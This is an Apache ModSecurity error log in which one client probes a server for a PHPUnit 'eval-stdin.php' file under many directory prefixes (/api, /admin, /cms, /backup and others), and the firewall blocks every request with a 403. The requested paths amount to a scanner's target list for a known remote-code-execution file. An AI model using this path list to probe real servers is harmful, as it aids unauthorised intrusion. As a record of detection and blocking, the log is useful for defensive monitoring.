[Sat Oct 24 09:16:55.190130 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWQAAAAY"]
[Sat Oct 24 09:16:55.190594 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWQAAAAY"]
[Sat Oct 24 09:16:55.191408 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrWQAAAAY"]
[Sat Oct 24 09:16:55.329992 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWgAAAAY"]
[Sat Oct 24 09:16:55.330500 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWgAAAAY"]
[Sat Oct 24 09:16:55.331496 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrWgAAAAY"]
[Sat Oct 24 09:16:55.432296 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWwAAAAY"]
[Sat Oct 24 09:16:55.432757 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrWwAAAAY"]
[Sat Oct 24 09:16:55.433526 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrWwAAAAY"]
[Sat Oct 24 09:16:55.623293 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrXAAAAAY"]
[Sat Oct 24 09:16:55.623768 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrXAAAAAY"]
[Sat Oct 24 09:16:55.624599 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrXAAAAAY"]
[Sat Oct 24 09:16:55.763204 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrXQAAAAY"]
[Sat Oct 24 09:16:55.763639 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrXQAAAAY"]
[Sat Oct 24 09:16:55.764524 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrXQAAAAY"]
[Sat Oct 24 09:16:55.861055 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrXgAAAAY"]
[Sat Oct 24 09:16:55.861562 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxxdOhHN-18IxgZKrXgAAAAY"]
[Sat Oct 24 09:16:55.862408 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxxdOhHN-18IxgZKrXgAAAAY"]
[Sat Oct 24 09:16:56.039538 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrXwAAAAY"]
[Sat Oct 24 09:16:56.039984 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrXwAAAAY"]
[Sat Oct 24 09:16:56.040893 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrXwAAAAY"]
[Sat Oct 24 09:16:56.143336 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYAAAAAY"]
[Sat Oct 24 09:16:56.143794 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYAAAAAY"]
[Sat Oct 24 09:16:56.144596 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrYAAAAAY"]
[Sat Oct 24 09:16:56.220891 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYQAAAAY"]
[Sat Oct 24 09:16:56.221401 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYQAAAAY"]
[Sat Oct 24 09:16:56.222249 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrYQAAAAY"]
[Sat Oct 24 09:16:56.302214 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYgAAAAY"]
[Sat Oct 24 09:16:56.302751 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYgAAAAY"]
[Sat Oct 24 09:16:56.303624 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrYgAAAAY"]
[Sat Oct 24 09:16:56.586679 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYwAAAAY"]
[Sat Oct 24 09:16:56.587236 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrYwAAAAY"]
[Sat Oct 24 09:16:56.588267 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrYwAAAAY"]
[Sat Oct 24 09:16:56.696304 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZAAAAAY"]
[Sat Oct 24 09:16:56.696794 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZAAAAAY"]
[Sat Oct 24 09:16:56.697620 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrZAAAAAY"]
[Sat Oct 24 09:16:56.818535 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZQAAAAY"]
[Sat Oct 24 09:16:56.819079 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvyBdOhHN-18IxgZKrZQAAAAY"]
[Sat Oct 24 09:16:56.819924 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvyBdOhHN-18IxgZKrZQAAAAY"]
